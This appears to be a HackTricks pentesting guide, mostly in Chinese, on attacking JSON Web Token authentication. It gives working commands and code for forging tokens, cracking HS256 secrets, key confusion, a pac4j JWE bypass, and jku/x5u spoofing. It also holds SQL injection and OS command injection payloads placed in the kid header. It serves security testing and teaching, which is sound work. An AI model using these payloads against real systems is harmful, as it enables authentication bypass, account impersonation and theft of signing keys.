JWT Vulnerabilities (Json Web Tokens)
Tip
学习并实践 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
浏览用于评估路线的 完整 HackTricks Training 目录(ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)。
支持 HackTricks
- 查看 订阅方案!
- 加入 💬 Discord 群组、telegram 群组,关注 X/Twitter 上的 @hacktricks_live,或查看 LinkedIn 页面 和 YouTube 频道。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR,分享 hacking 技巧。
这篇文章的一部分基于这篇很棒的帖子: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
用于 pentest JWTs 的优秀工具作者 https://github.com/ticarpi/jwt_tool
Quick Wins
运行 jwt_tool 并使用模式 All Tests!,然后等待绿色行出现
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
如果你幸运的话,工具会找到某个 Web 应用错误检查 JWT 的情况:
.png)
然后,你可以在你的 proxy 中搜索该请求,或者使用 jwt_ tool 转储该请求所使用的 JWT:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
你也可以使用 Burp Extension SignSaboteur 从 Burp 发起 JWT attacks。
Practical JWT assessment workflow
- Scope the session control: 选择一个用户特定的请求(例如 profile、billing)。一次移除一个 cookies/headers,直到请求被拒绝,以此隔离到底是哪些 token 实际在控制 authorization。
- Locate JWTs in traffic: 它们通常在
Authorization: Bearer <JWT>里,但也可能出现在自定义 headers 或 cookies 中。如果 Burp 没有高亮它们,使用 Target → Site map → Engagement tools → Search,并配合正则,例如: [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+[= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*- Decode and enumerate: 使用 Burp JWT Editor 或
python3 jwt_tool.py <JWT>来读取 header/payload。注意alg、exp/token lifetime,以及驱动 authn/authz 的 claims(role、id、username、email等)。 - Signature enforcement sanity check: 修改或删除 signature 部分的几个字节并重放。若仍被接受,说明没有进行 signature validation,你可以直接篡改 payload claims。
- Goal: 修改 payload claims 来提升 privileges;下面的每种 attack 都旨在通过滥用弱 verification、弱 secrets 或不安全的 key selection,让服务器接受被篡改的 payload。
Tamper data without modifying anything
你可以只篡改 data,而保持 signature 不变,并检查服务器是否在校验 signature。比如尝试把你的 username 改成 “admin”。
Is the token checked?
要检查 JWT 的 signature 是否被验证:
- error message 表明正在进行 verification;如果 verbose errors 暴露了敏感细节,需要检查。
- 返回页面的变化也说明 verification 生效。
- 没有变化则说明没有验证;这时就可以尝试篡改 payload claims。
Origin
通过检查 proxy 的 request history,判断 token 是 server-side 生成还是 client-side 生成,这一点很重要。
- 首次从 client side 看到的 token,表明 key 可能暴露给了 client-side code,需要进一步调查。
- 来自 server-side 的 token 表明流程是安全的。
Duration
检查 token 是否持续超过 24h… 也许它根本不会过期。如果有 exp filed,检查 server 是否正确处理它。
Brute-force HMAC secret
如果 header 使用 HS256,把 token 导出到文件并尝试 offline cracking:
python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule
一旦恢复出 secret,将其作为对称密钥加载到 Burp JWT Editor 中,并重新签名修改后的 claims。
从泄露的 config + DB 数据派生 JWT secrets
如果任意文件读取(或 backup leak)同时暴露了应用加密材料和用户记录,你有时可以重建 JWT signing secret 并伪造 session cookies,而无需知道任何明文密码。在 workflow automation 栈中观察到的示例模式:
- 从 config file 中泄露 app key(例如
encryptionKey)。 - 泄露 user table 以获取
email、password_hash和user_id。 - 从 key 派生 signing secret,然后派生 JWT payload 中期望的按用户计算的 hash:
jwt_secret = sha256(encryption_key[::2]).hexdigest() # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
- 将已签名的 token 放入 session cookie(例如
n8n-auth)中,即使 password hash 是 salted 的,也可以冒充 user/admin 账户。
将 algorithm 修改为 None
将使用的 algorithm 设为 “None”,并移除 signature 部分。
使用 Burp 扩展 “JSON Web Token” 来尝试这个漏洞,并修改 JWT 内的不同值(把请求发送到 Repeater,然后在 “JSON Web Token” 标签页中可以修改 token 的值。你也可以选择将 “Alg” 字段的值设为 “None”)。
JWE-wrapped PlainJWT / public-key auth bypass (pac4j-jwt CVE-2026-29000)
某些 stack 期望一个被 encrypted JWE 包裹的 signed inner JWT。在存在漏洞的 pac4j-jwt 版本中(4.5.9、5.7.9 和 6.3.3 之前),authenticator 会先 decrypt JWE,尝试将 payload 解析为 signed JWT,并且只有在这个转换成功时才会验证 signature。如果解密后的 payload 是 PlainJWT(alg=none),toSignedJWT() 会返回 null,从而跳过 signature verification 路径。
- Pre-reqs:
- 应用接受 JWE bearer tokens
- server public key 已暴露(通常通过 JWKS,例如
/.well-known/jwks.json或/api/auth/jwks) - Authorization 依赖 attacker-controlled claims,例如
sub、role、groups或scope - Impact: 仅使用 public key 为任意 user/role 伪造一个 encrypted token
Practical checks:
- 枚举 frontend / API docs,查找诸如
RSA-OAEP-256、A128GCM/A256GCM、jwks,或注释中写着 “inner JWT is signed” 的线索。 - 获取 JWKS,并从
n/e导入 RSA key。 - 手动构造 inner token:
base64url(header) + "." + base64url(payload) + ".",使 signature 为空。 - 使用暴露的 public key 将该 plaintext JWT 加密为 JWE,并将其作为 bearer token 重放。
Minimal PlainJWT construction:
header = {"alg": "none"}
claims = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "target"}
b64 = lambda b: base64.urlsafe_b64encode(b).decode().rstrip("=")
plain = (
f"{b64(json.dumps(header, separators=(',', ':')).encode())}."
f"{b64(json.dumps(claims, separators=(',', ':')).encode())}."
)
使用 JWKS 中的 RSA 公钥将其加密成一个紧凑的 JWE:
rsa_key = jwk.JWK(**jwks["keys"][0])
token = jwe.JWE(
plaintext=plain.encode(),
protected=json.dumps({"alg": "RSA-OAEP-256", "enc": "A256GCM"}),
recipient=rsa_key,
)
forged = token.serialize(compact=True)
Notes:
- If your JWT library refuses to emit
alg=none, generate the compact token manually as shown above. - The
encvalue must match one accepted by the target; frontend comments and legitimate tokens often disclose this. - In SPAs, check whether the bearer token is stored in
sessionStorage,localStorage, or a JS-accessible cookie; dropping the forged token there is often enough to validate the bypass quickly.
将 algorithm RS256(asymmetric) 更改为 HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
algorithm HS256 使用 secret key 对每条 message 进行签名和验证。
algorithm RS256 使用 private key 对 message 进行签名,并使用 public key 进行 authentication。
如果你把 algorithm 从 RS256 改成 HS256,后端代码会把 public key 当作 secret key,然后使用 HS256 algorithm 来验证 signature。
然后,利用 public key 并将 RS256 改为 HS256,我们就可以创建一个有效的 signature。你可以通过执行以下命令获取 web server 的 certificate:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Using Burp JWT Editor, import the RSA public key (from /.well-known/jwks.json or a PEM) and run Attack → HMAC Key Confusion Attack to automate the HS256 re-sign attempt.
New public key inside the header
An attacker embeds a new key in the header of the token and the server uses this new key to verify the signature (CVE-2018-0114).
This can be done with the “JSON Web Tokens” Burp extension.
(Send the request to the Repeater, inside the JSON Web Token tab select “CVE-2018-0114” and send the request).
JWKS Spoofing
这些说明详细介绍了一种评估 JWT tokens 安全性的方法,尤其是那些使用 “jku” header claim 的 token。这个 claim 应该指向一个 JWKS (JSON Web Key Set) 文件,其中包含 token 验证所需的 public key。
-
评估带有 “jku” Header 的 Tokens:
-
验证 “jku” claim 的 URL,确保它指向合适的 JWKS 文件。
-
修改 token 的 “jku” 值,使其指向一个你控制的 web service,以便观察 traffic。
-
监控 HTTP Interaction:
-
观察到对你指定 URL 的 HTTP 请求,表明 server 正在尝试从你提供的链接获取 keys。
-
在使用
jwt_tool进行此过程时,必须在jwtconf.ini文件中更新你的个人 JWKS location,以便进行 testing。 -
jwt_tool的命令: -
执行以下命令以使用
jwt_tool模拟该场景:
python3 jwt_tool.py JWT_HERE -X s
Kid Issues Overview
一个可选的 header claim,称为 kid,用于标识特定的 key,在存在多个用于 token signature verification 的 keys 的环境中尤为重要。这个 claim 有助于选择合适的 key 来验证 token 的 signature。
通过 “kid” 透露 Key
当 header 中存在 kid claim 时,建议在 web directory 中搜索相应的文件或其变体。例如,如果指定了 "kid":"key/12345",则应在 web root 中查找 /key/12345 和 /key/12345.pem 文件。
使用 “kid” 的 Path Traversal
kid claim 也可能被利用来在文件系统中导航,从而可能允许选择任意文件。可以通过更改 kid 值来测试连通性或执行 Server-Side Request Forgery (SSRF) attacks,目标指向特定文件或服务。在保留原始 signature 的同时篡改 JWT 来更改 kid 值,可以使用 jwt_tool 中的 -T flag 完成,如下所示:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
通过针对具有可预测内容的文件,可以伪造一个有效的 JWT。比如,Linux 系统中的 /proc/sys/kernel/randomize_va_space 文件已知包含值 2,可以在 kid 参数中使用 2 作为 JWT 生成的对称密码。
一种脆弱的 file-system key 加载的实际模式是:生成一个 HS256 key,将 JWK k 设为 AA==,把 kid 设为类似 ../../../../../../../dev/null 的路径遍历,并重新签名——某些实现会把空文件当作有效的 HMAC secret,因此会接受伪造的 token。
SQL Injection via “kid”
如果 kid 声明的内容被用来从数据库中获取密码,那么通过修改 kid 载荷可以促成 SQL injection。一个使用 SQL injection 来修改 JWT 签名过程的示例载荷是:
non-existent-index' UNION SELECT 'ATTACKER';-- -
这种修改会强制 JWT 签名时使用已知的 secret key,ATTACKER。
OS Injection through “kid”
如果 kid 参数指定了一个文件路径,并且该路径会在命令执行上下文中被使用,那么就可能导致 Remote Code Execution (RCE) 漏洞。通过向 kid 参数注入命令,可以暴露 private keys。一个实现 RCE 和 key 泄露的示例载荷是:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku 代表 JWK Set URL。
如果 token 使用了 “jku” Header 声明,那么就检查提供的 URL。这个 URL 应该指向一个包含用于验证 token 的 Public Key 的 JWKS 文件。篡改 token,使 jku 值指向一个你可以监控流量的 web service。
首先你需要创建一个带有新的 private & public keys 的新证书
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Then you can use for example jwt.io 来使用创建的公钥和私钥,并将参数 jku 指向创建的证书来创建新的 JWT。为了创建一个有效的 jku 证书,你可以下载原始证书并修改所需参数。
你可以使用以下方法从公有证书中获取参数 “e” 和 “n”:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
如果 verifier 远程获取 key material,就在 jku/x5u 中嵌入一个 Burp Collaborator URL,使用 JWT Editor → Attack → Embed Collaborator payload。任何回调都能确认存在 SSRF-style key retrieval;然后在该 URL 上托管你自己的 JWKS/PEM,并用你的 private key 重新签名,这样 service 就会验证 attacker-minted tokens。
x5u
X.509 URL。一个指向一组以 PEM 形式编码的 X.509(证书格式 standard)public certificates 的 URI。该集合中的第一个 certificate 必须是用于签名此 JWT 的那个。后续的 certificates 依次签名前一个 certificate,从而完成 certificate chain。X.509 在 RFC 52807 中定义。传输 certificates 时需要 Transport security。
尝试将此 header 改成一个由你控制的 URL,并检查是否收到任何 request。若收到,则说明你 可以篡改 JWT。
要使用由你控制的 certificate 来伪造一个新的 token,你需要创建 certificate 并提取 public key 和 private key:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
然后你可以例如使用 jwt.io 来创建新的 JWT,使用创建的 public 和 private keys,并将参数 x5u 指向创建的 .crt certificate。
.png)
你也可以将这两个 vuln 都用于 SSRFs。
x5c
这个参数可能包含 base64 格式的 certificate:
.png)
如果 attacker 生成一个 self-signed certificate 并使用对应的 private key 创建一个 forged token,同时将 “x5c” 参数的值替换为新生成的certificate,并修改其他参数,即 n、e 和 x5t,那么本质上这个 forgedtoken 将会被 server 接受。
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
嵌入的 Public Key (CVE-2018-0114)
如果 JWT 嵌入了一个 public key,就像下面这个场景:
.png)
使用下面的 nodejs 脚本,可以根据这些数据生成一个 public key:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
可以生成一对新的 private/public key,将新的 public key 嵌入 token 中,并用它来生成新的 signature:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
你可以使用这个 nodejs 脚本获取 “n” 和 “e”:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Finally, using the public and private key and the new “n” and “e” values you can use jwt.io to forge a new valid JWT with any information.
ES256: Revealing the private key with same nonce
If some applications use ES256 and use the same nonce to generate two jwts, the private key can be restored.
Here is a example: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)
JTI (JWT ID)
The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.
However, imagine a situation where the maximun length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementig the ID on each request you could abuse this to replay a request (needing to send 10000 request between each successful replay).
JWT Registered claims
Other attacks
Cross-service Relay Attacks
It has been observed that some web applications rely on a trusted JWT service for the generation and management of their tokens. Instances have been recorded where a token, generated for one client by the JWT service, was accepted by another client of the same JWT service. If the issuance or renewal of a JWT via a third-party service is observed, the possibility of signing up for an account on another client of that service using the same username/email should be investigated. An attempt should then be made to replay the obtained token in a request to the target to see if it is accepted.
- A critical issue may be indicated by the acceptance of your token, potentially allowing the spoofing of any user’s account. However, it should be noted that permission for wider testing might be required if signing up on a third-party application, as this could enter a legal grey area.
Expiry Check of Tokens
The token’s expiry is checked using the “exp” Payload claim. Given that JWTs are often employed without session information, careful handling is required. In many instances, capturing and replaying another user’s JWT could enable impersonation of that user. The JWT RFC recommends mitigating JWT replay attacks by utilizing the “exp” claim to set an expiry time for the token. Furthermore, the implementation of relevant checks by the application to ensure the processing of this value and the rejection of expired tokens is crucial. If the token includes an “exp” claim and testing time limits allow, storing the token and replaying it after the expiry time has passed is advised. The content of the token, including timestamp parsing and expiry checking (timestamp in UTC), can be read using the jwt_tool’s -R flag.
- A security risk may be present if the application still validates the token, as it may imply that the token could never expire.
Tools
- jwt_tool – decoding, claim/header tampering, offline secret cracking (
-C) and semi-automated attack modes (-M at). - Burp JWT Editor – decode/re-sign in Repeater, generate custom keys, and run built-in attacks (none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads).
- hashcat
-m 16500– GPU-accelerated HS256 secret cracking after exporting JWTs to a wordlist.
References
- n8n token forge chain – config+DB leak to JWT signing secret
- Burp Suite – JWT Editor extension
- jwt_tool attack methodology
- Keys to JWT Assessments – TrustedSec
- 0xdf - HTB: Principal
- CodeAnt AI - Inside CVE-2026-29000: The pac4j JWT Authentication Bypass Explained
Tip
学习并实践 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
浏览用于评估路线的 完整 HackTricks Training 目录(ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)。
支持 HackTricks
- 查看 订阅方案!
- 加入 💬 Discord 群组、telegram 群组,关注 X/Twitter 上的 @hacktricks_live,或查看 LinkedIn 页面 和 YouTube 频道。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR,分享 hacking 技巧。


